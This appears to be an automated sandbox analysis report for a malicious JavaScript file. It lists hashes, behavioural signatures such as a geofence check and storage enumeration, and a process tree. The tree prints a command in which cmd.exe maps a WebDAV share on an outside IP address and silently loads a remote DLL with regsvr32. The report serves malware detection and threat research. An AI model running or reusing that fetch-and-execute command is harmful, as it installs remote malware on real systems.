Analysis

  • max time kernel
    140s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-07-2024 02:43

General

  • Target

    8882bdca2696778cad9762fc6e4f8cafb6e722efb93b5e8aab66e535d5217856.js

  • Size

    5KB

  • MD5

    8c1093137bbf1d38517a6d90146bd358

  • SHA1

    677e1b7062a584679431c43adc8fe68d9bdc8204

  • SHA256

    8882bdca2696778cad9762fc6e4f8cafb6e722efb93b5e8aab66e535d5217856

  • SHA512

    3a8fe672009cbcb90de1cb4b1a8afb47291640b844df5ca9fcdce54b8d7441b5e123476094672aaebc3cf059379fbca7a850b6fcbb81f5e9158a0d1f0466810a

  • SSDEEP

    96:GWz1XF5BTGGN94hHrXeKunTfAkzyunTfn4:GW5GS9yruKunLAkzyunLn4

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\8882bdca2696778cad9762fc6e4f8cafb6e722efb93b5e8aab66e535d5217856.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3724
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\1527830137078.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3168

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads